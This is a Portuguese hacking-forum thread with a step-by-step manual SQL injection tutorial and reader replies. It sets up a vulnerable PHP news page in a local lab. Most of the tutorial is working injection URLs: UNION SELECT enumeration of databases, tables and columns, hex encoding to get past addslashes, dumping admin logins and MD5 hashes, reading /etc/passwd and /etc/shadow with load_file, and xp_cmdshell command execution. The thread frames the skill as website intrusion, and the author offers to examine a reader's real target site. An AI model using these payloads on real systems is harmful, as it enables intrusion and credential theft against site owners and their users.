Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

'Havijando' sem havij: SQLi manual na prática

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial 'Havijando' sem havij: SQLi manual na prática

    Antes de qualquer coisa, vamos definir aqui duas palavras que têm confundido muita gente:
    Deface: Ato ou efeito de desfigurar uma página
    Defacer: Aquele que pratica o deface.
    Ok, agora podemos continuar (eu acho que posso, já que estou navegando a 18 Kbps (isso mesmo, são kilobits, e não kilobytes) por conta da chuva).

    Há um tempo eu havia postado um tutorial sobre o SQLi. Porém, foi muito baseado na teoria, e não na prática. Em todo caso, recomendo que, antes de prosseguir, você o leia também, bem como as sugestões dadas nele. Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar....

    Vamos esclarecer o principal defeito que houve em meu tutorial:
    Hoje em dia qualquer programador, por mais iniciante que possa ser, coloca no mínimo um addslashes em sua página. Além disso, é muito difícil nos dias de hoje você ler o erro vindo direto do servidor SQL (por exemplo, mysql_error()). Outro ponto importante é que eu buscava todos os dados de uma vez. O limite de um dado por vez é dispensado pelo DVWA, mas é sempre necessário em outros sistemas. Não só a página remota, como também sua conexão.

    Tudo bem, então vamos iniciar.
    Vamos criar nosso próprio ambiente de teste Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar.... Para tanto, teremos um script em PHP que eu salvei como noticia.php, que será o responsável por obter a notícia na base de dados e exibí-la, e um banco de dados. Nossa missão é capturar as senhas.
    Crie a base de dados no PHPMyAdmin, Adminer ou o seu gerenciador SQL predileto. Feito isso, rode a query:
    Código:
    SET NAMES utf8;
    SET foreign_key_checks = 0;
    SET time_zone = 'SYSTEM';
    SET sql_mode = 'NO_AUTO_VALUE_ON_ZERO';
    
    CREATE TABLE `admin` (
      `login` varchar(255) NOT NULL,
      `senha` varchar(255) NOT NULL
    ) ENGINE=MyISAM DEFAULT CHARSET=latin1;
    
    INSERT INTO `admin` (`login`, `senha`) VALUES
    ('joao',        '21232f297a57a5a743894a0e4a801fc3'),
    ('maria',       '49f8aa089b957fe92343d08032b3b436');
    
    CREATE TABLE `noticias` (
      `id` int(11) NOT NULL,
      `titulo` varchar(255) NOT NULL,
      `texto` text NOT NULL
    ) ENGINE=MyISAM DEFAULT CHARSET=latin1;
    
    INSERT INTO `noticias` (`id`, `titulo`, `texto`) VALUES
    (1,     'Lorem ipsum dolor sit amet',   'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas volutpat elit ut dolor feugiat sit amet dapibus velit sodales. Nunc posuere, mi eu euismod posuere, risus dui dictum est, id iaculis mi erat a diam. Quisque eget ante at magna aliquam consectetur et id felis. Donec accumsan dapibus mi id facilisis. Maecenas at mauris erat. Nunc consectetur nulla id nisl fringilla at eleifend urna volutpat. Sed pellentesque ligula sit amet magna molestie vitae iaculis risus accumsan. Morbi eget mattis nibh. Morbi tortor risus, adipiscing quis auctor at, pulvinar quis dolor.\n\nMorbi ac tempor turpis. Nulla sit amet lectus enim, eget aliquet lorem. Aliquam sit amet nunc in sem tempor rhoncus id ut odio. Morbi condimentum ipsum in urna tempus dapibus. Duis a eleifend dui. Sed condimentum semper blandit. Praesent in justo eget lorem tempus tincidunt vel non tortor. Aliquam quis dictum orci. Nulla dictum lobortis posuere. Donec eleifend cursus orci eu fringilla. Donec volutpat elit eget nibh egestas quis pharetra enim dictum. Nam tortor orci, suscipit at aliquam sed, blandit vitae odio.\n\nCurabitur rhoncus nisi blandit elit fringilla vitae varius nulla sollicitudin. Pellentesque elementum, ante sed bibendum ornare, sapien quam pellentesque lectus, vitae aliquam libero libero sit amet mi. Praesent tellus tortor, volutpat at placerat non, fringilla a nunc. Nulla laoreet lacinia justo, in gravida tellus ultricies sit amet. Nulla pulvinar tortor condimentum leo cursus eleifend. Curabitur faucibus leo in magna varius at lobortis purus vulputate. Praesent venenatis leo et lorem egestas bibendum varius magna facilisis. Nam id urna elit, vitae sagittis augue. Ut non elit vel nisl rutrum elementum a a risus. Integer id nibh ut magna scelerisque vehicula. Donec sit amet odio sed magna suscipit dapibus eget vel tellus. Proin lacinia ipsum at diam placerat iaculis. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Quisque suscipit ultricies sollicitudin. Nullam nec sodales nisl. Donec vehicula odio a nisl posuere id vestibulum libero congue.\n\nNam non velit diam. Pellentesque consequat accumsan venenatis. Cras egestas rhoncus luctus. Ut eu nibh urna, ac pharetra nisi. Maecenas dapibus laoreet augue, eget placerat lectus blandit a. Integer semper accumsan velit vel rutrum. Proin commodo pharetra justo, id rhoncus sem mattis sed. Nullam adipiscing hendrerit faucibus. Nullam fermentum pharetra massa gravida congue. Integer at tortor non lectus accumsan lobortis. Aliquam blandit egestas vestibulum. Suspendisse tincidunt cursus arcu.\n\nNulla est neque, feugiat aliquam malesuada eu, consequat in velit. Praesent et nunc erat. Nunc lacus ipsum, bibendum at dignissim ac, posuere sed metus. Curabitur facilisis magna nec tellus sollicitudin vel cursus mauris ullamcorper. Sed neque libero, commodo et vehicula et, venenatis eget odio. Pellentesque scelerisque orci in ligula sollicitudin eu fermentum diam placerat. Duis malesuada condimentum massa, a luctus risus euismod in. Nunc risus ante, lacinia volutpat adipiscing sed, venenatis at nisl. Sed vestibulum fermentum libero, at tristique odio adipiscing vitae.'),
    (2,     'Neque porro quisquam est qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit',  'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse nibh purus, hendrerit non sagittis eget, ultricies sed mi. Suspendisse in imperdiet odio. Morbi malesuada mattis semper. Aenean non nibh dui. Quisque rutrum condimentum nunc, et placerat justo vulputate vel. Proin tempor mattis lacus, convallis auctor mauris auctor id. Vestibulum nisi lectus, feugiat sit amet ullamcorper eu, auctor sed velit. Praesent aliquam mollis libero, eu tincidunt libero malesuada sed. Maecenas accumsan urna urna. Nulla turpis orci, suscipit nec euismod vitae, feugiat a massa. Aliquam non sem eget sem condimentum ullamcorper. Donec augue leo, auctor imperdiet faucibus ut, imperdiet eu nulla. Donec et quam neque. Nunc sagittis egestas convallis. Duis in sem porttitor dui dictum facilisis eget sed risus. Quisque ultricies justo id leo auctor vehicula lobortis ligula posuere.\n\nPraesent enim lacus, posuere quis rhoncus vel, tempus non nunc. Cras euismod mattis diam ac tempor. Mauris id orci arcu. Fusce eleifend feugiat est ut porttitor. Curabitur id erat sit amet tortor rutrum tempus sed eget enim. Sed fringilla viverra eros sed commodo. Quisque purus turpis, tincidunt vitae feugiat in, sagittis eu dolor. Praesent malesuada consequat tortor. Aliquam sed ante urna, ac mollis metus. Etiam at pretium enim.\n\nFusce euismod mattis ligula, eu rutrum erat blandit eget. Praesent non varius libero. Maecenas viverra elit sed neque aliquam a tincidunt risus eleifend. Curabitur tincidunt, arcu quis congue faucibus, nunc justo tincidunt risus, eu suscipit turpis urna non erat. Morbi mattis condimentum mauris ac tempus. Morbi vulputate dui non eros pulvinar tempus. Morbi fringilla ornare mauris, eu bibendum diam feugiat tincidunt. Donec euismod, urna sed lacinia volutpat, nisi velit cursus odio, quis fermentum sem lectus eget mauris. Mauris condimentum scelerisque vehicula. Duis sed enim lacus. Suspendisse potenti. Morbi suscipit lobortis convallis. Nunc sem libero, sollicitudin venenatis eleifend quis, euismod in justo. Nunc sodales mollis vulputate. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.\n\nNunc ac est urna. Sed mollis ipsum in orci dapibus eu pharetra dui eleifend. Quisque quis ligula mauris, eget bibendum magna. Pellentesque non urna augue, in vulputate augue. Integer eleifend accumsan sem quis facilisis. Aenean eleifend mi sed augue imperdiet sed fermentum nisl sodales. Aenean hendrerit ante ut nunc dignissim scelerisque. Integer vel mollis nunc.\n\nDonec eu est vitae quam tincidunt feugiat eu sit amet libero. In a consequat nisl. Sed sit amet nibh sit amet leo bibendum condimentum vestibulum eget leo. Donec id sagittis mauris. Vivamus massa metus, ullamcorper sit amet scelerisque ut, adipiscing a lectus. Maecenas volutpat lectus a est eleifend iaculis. Etiam arcu tellus, luctus luctus venenatis et, facilisis suscipit est. Ut convallis ornare erat tincidunt viverra. Pellentesque non massa sed turpis hendrerit ultrices. In neque orci, malesuada interdum tincidunt at, posuere eu justo. Aenean in dapibus ante. Ut tincidunt luctus ante at imperdiet. Vestibulum ultrices ullamcorper feugiat. Nulla facilisi.');
    Isto irá criar duas tabelas na base. Na primeira tabela, são inseridas duas notícias (textos Lorem Ipsum), e na segunda, são inseridos login e senha - criptografada em MD5 - de dois usuários. Mas nós não sabemos disso.
    (Repetindo) Nossa missão: Obter os dados administrativos.
    Para isso, imagine que este é a página de notícias do website alvo. Salve este script como noticia.php no seu servidor local e rode-o pelo navegador.
    Código:
    <?php
    $server = 'localhost'; // configure aqui
    $login = 'root'; // configure aqui
    $senha = '1708'; // configure aqui
    $servidor = 'sqli'; // configure aqui
    
    mysql_connect($server, $login, $senha) or die(mysql_error());
    mysql_select_db($servidor) or die(mysql_error());
    
    $id = mysql_real_escape_string($_GET['id']);
    $id = addslashes($id);
    
    $qry = mysql_query("SELECT * FROM noticias WHERE id=$id");
    while($row = mysql_fetch_array($qry)) {
      $titulo = $row['titulo'];
      $texto = $row['texto'];
    }
    mysql_close();
    ?>
    <html>
    <head>
    <title><?php echo $titulo; ?></title>
    </head>
    <body>
    <b><?php echo $titulo; ?></b><br>
    <?php echo $texto; ?>
    </body>
    </html>
    Rode este script em localhost, lembrando de configurar o princípio do mesmo. Note que eu utilizei as duas funções que estão sendo postas à prova, juntas. Estas funções prometem proteger o website contra SQLi. Toda esta proteção vai falhar. Duvida?
    Então vamos lá. Primeiro, vamos acessar normalmente as notícias 1 e 2:
    • noticia.php?id=1
    • noticia.php?id=2

    Agora, vamos inserir uma aspa na URL, de forma a causar o erro e confirmar a vulnerabilidade:
    • noticia.php?id='1

    Tudo ok? Erro aparecendo:
    Código:
    Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/noticia.php on line 14
    Então realmente houve um erro. Agora vamos utilizar o ORDER BY para identificar o número de colunas existente na tabela atual. Iremos também utilizar --+ para comentar e inutilizar o restante da query, se houver.
    • noticia.php?id=1 order by 1--+
    • noticia.php?id=1 order by 2--+
    • noticia.php?id=1 order by 3--+
    • noticia.php?id=1 order by 4--+

    Note que nos 3 primeiros testes, a notícia é exibida corretamente. Já no último, houve um erro. Isto indica que a coluna #4 não existe. Sendo assim, temos 3 colunas na tabela atual. Você pode verificar isso no seu gerenciador SQL, se quiser.
    Agora vamos utilizar o UNION ALL para identificar para onde vai o conteúdo de cada coluna. Antes disso, repare que negativamos o número 1 (ID da notícia), para que a mesma não seja trazida do banco de dados, e o ataque fique mais rápido.
    • noticia.php?id=-1 union all select 1,2,3--+

    Há vários casos em que isto não dá certo, mesmo que haja 3 colunas na base atual. Isto porque o programador pode selecionar dados de 2 colunas diferentes ou até mesmo não selecionar todas as colunas da tabela atual. Neste caso, basta ir tentando diferentes números até conseguir.
    Note que a coluna 1 não retorna dados. É porque ela é a identificação da notícia, usada na condição WHERE, certo? As colunas 2 e 3 contém, respectivamente, o título e o texto da notícia. Notamos isso pois esses números aparecem naquele local na página.
    Primeiramente, vamos obter alguns dados que aparecerão no lugar da coluna 3 (conteúdo da notícia). Vamos obter o nome do banco de dados atual, a versão e o usuário do mysql. Para obter 3 dados em apenas 1 campo, usamos o concat().
    • noticia.php?id=-1 union all select 1,2,concat(user(),0x3c3d3e,database(),0x3c3d3e,ver sion())--+

    Se a versão do MySQL for maior que 5, teremos o information_schema, que nos ajudará bastante.
    Agora vamos obter todos as bases de dados do servidor. Para isso, vamos usar a coluna 2 (título) e a tabela 'schemata' do information_schema.
    • noticia.php?id=-1 union all select 1,schema_name,concat(user(),0x3c3d3e,database(),0x 3c3d3e,version()) from information_schema.schemata limit 0,1--+
    • noticia.php?id=-1 union all select 1,schema_name,concat(user(),0x3c3d3e,database(),0x 3c3d3e,version()) from information_schema.schemata limit 1,1--+

    Vamos aumentar o LIMIT de 0,1 para 1,1 2,1 3,1 4,1 até gerar erro, que indicará o fim da lista. Devemos sempre limitar os dados. O próprio Havij faz isso. Note que os dados aparecem um a um.
    Agora vamos obter o nome de todas as tabelas do banco de dados atual:
    • noticia.php?id=-1 union all select 1,table_name,concat(user(),0x3c3d3e,database(),0x3 c3d3e,version()) from information_schema.tables where table_schema=database() limit 0,1--+

    Note que não estamos utilizando aspas, então o ataque é bem-sucedido. Vamos alterando o limit e note que conseguimos obter "admin" e "noticias" e um erro.
    Repare também que apenas substituímos o número 2, para que esses dados apareçam no lugar do mesmo na página.
    Agora, vamos pegar o nome de todas as colunas da tabela "admin", que julgamos nos interessar (a base do achismo). Veja como é feito:
    • noticia.php?id=-1 union all select 1,column_name,concat(user(),0x3c3d3e,database(),0x 3c3d3e,version()) from information_schema.columns where table_name=('admin') and table_schema=database() limit 0,1--+

    Mas aí temos um problema: na condição where, utilizamos aspas para indicar o nome da tabela. Nossas aspas foram escapadas e não temos como continuar, certo? Errado.
    O que faremos é Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar.... admin em hexa fica 0x61646d696e. Vamos ver como ficaremos:
    • noticia.php?id=-1 union all select 1,column_name,concat(user(),0x3c3d3e,database(),0x 3c3d3e,version()) from information_schema.columns where table_name=0x61646d696e and table_schema=database() limit 0,1--+

    Vamos alterando o limit e veja que conseguimos obter "login" e "senha". Vamos então, enfim, obter os dados desta tabela, utilizando o concat() para pegar mais de um dado:
    • noticia.php?id=-1 union all select 1,concat(login,0x3c3d3e,senha),concat(user(),0x3c3 d3e,database(),0x3c3d3e,version()) from sqli.admin limit 0,1

    0x3c3d3e significa '<=>' e utilizamos estes símbolos para separar um dado do outro, para não nos confundirmos.
    Vá alterando o limit e veja que conseguimos obter:
    Código:
    joao<=>21232f297a57a5a743894a0e4a801fc3
    maria<=>49f8aa089b957fe92343d08032b3b436
    Para terminar, vamos descriptografar essas hashs md5, utilizando o Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar..., que usa um banco de dados com várias hashes:
    Código:
    21232f297a57a5a743894a0e4a801fc3 MD5 : admin
    49f8aa089b957fe92343d08032b3b436 [Not Found]
    Viu só? Utilizamos as duas funções, e estas não nos foram úteis.
    O que fazer então? No lugar de colocar as duas funções, neste caso, inúteis, já que receberemos apenas números, podemos fazer:
    Código:
    $id = is_numeric($_GET['id']) ? $_GET['id'] : die();
    Ou seja, se $_GET['id'] for numérico, seu valor será atribuído à variável $id. Caso contrário, o script morrerá (irá parar sua execução).

    Simples, não?

    Mas, 'peraí', duas coisas extras que o Havij faz e eu não mostrei (ainda):
    Lendo arquivos
    É extremamente fácil ler arquivos pelo SQLi. No entanto, deve estar rodando, no servidor SQL, um usuário que tenha permissão para ler o arquivo requerido.
    É simples: no lugar de buscar dados do banco de dados, use a função load_file(), colocando entre os parêntesis da função, o nome do arquivo (desde a raiz) que você deseja ler. Veja um exemplo:
    • noticia.php?id=-1 union all select 1,load_file(0x2f6574632f706173737764),3 limit 0,1--+

    Aqui, obtivemos o conteúdo do arquivo /etc/passwd, que guarda os usuários daquele computador (Unix). É melhor ver o conteúdo do arquivo pelo código-fonte, já que dificilmente as quebras de linha serão mostradas. Caso haja um 'x' no local da senha, é aquela velha criptografia terrível. Você verá as senhas criptografadas no arquivo /etc/shadow (0x2f6574632f736861646f77).
    Rodar comandos no terminal
    Isto só é possível em servidores Windows com Microsoft SQL Server que permite a execução de comandos. É bem simples. No lugar de obter dados da base de dados, use o comando host ou xp_cmdshell para executar o comando. Veja (rodando o comando 'ls', para ter a lista dos arquivos do diretório atual):
    • noticia.php?id=-1 union all select 1,xp_cmdshell 0x6c73,3 limit 0,1--+
    • noticia.php?id=-1 union all select 1,host 0x6c73,3 limit 0,1--+

    Como estou usando Linux e MySQL, este exemplo não funcionará.

    Para terminar, perceba que, se é seu caso, não é você quem é o defacer, e sim o ItSecTeam (desenvolvedores do Havij). Quem faz o hacker não são as ferramentas, mas, sim, o conhecimento. O Havij nem sempre estará quando for necessário.

    Até a próxima!


    Last edited by WCG147; 10-10-2011, 21:10.
    Este material pode ser compartilhado, desde que os devidos créditos sejam dados.



    Notify-list · Twitter · Blog

    Nova lei: Invadir computadores protegidos é crime.
    Lógica: Se eu invadi, não é protegido. Logo, não é crime :-)
    Similar Threads

  • Font Size
    #2
    Muito legal o tuto. Bem mastigadinho pros iniciantes entenderem ^^
    sigpic

    ->M4UK13<-

    Comment


    • Font Size
      #3
      gostei bem interessante.
      sigpic

      Comment


      • Font Size
        #4
        è isso ae 0kal

        Comment


        • Font Size
          #5
          resposta do post

          olha eu sou meio novo aki e tall sera q vc poderia me dizer pra q isso serve exatamente e como eu faco isso tenho q baixar algo?

          Comment


          • Font Size
            #6
            Não, não precisa baixar nada.
            Esta é uma explicação básica do SQLi, uma vulnerabilidade que permite manipular uma consulta SQL (enfim, invadir um website).
            Porém, aconselho primeiramente aprender o básico do SQL.
            Este material pode ser compartilhado, desde que os devidos créditos sejam dados.



            Notify-list · Twitter · Blog

            Nova lei: Invadir computadores protegidos é crime.
            Lógica: Se eu invadi, não é protegido. Logo, não é crime :-)

            Comment


            • Font Size
              #7
              O meu aqui só funcionou até a parte do: noticia.php?id=-1 union all select 1,2,3--+
              Ai ele imprimiu o 1 e 2 na tela, mas depois dai nada mais deu certo...ele só dava os mesmo erros e tals.

              Tem alguma ideia do porque não ter dado certo?
              Vlw

              Comment


              • Font Size
                #8
                Posta (ou me envie via MP) o site para uma análise.
                Este material pode ser compartilhado, desde que os devidos créditos sejam dados.



                Notify-list · Twitter · Blog

                Nova lei: Invadir computadores protegidos é crime.
                Lógica: Se eu invadi, não é protegido. Logo, não é crime :-)

                Comment

                X
                Working...
                X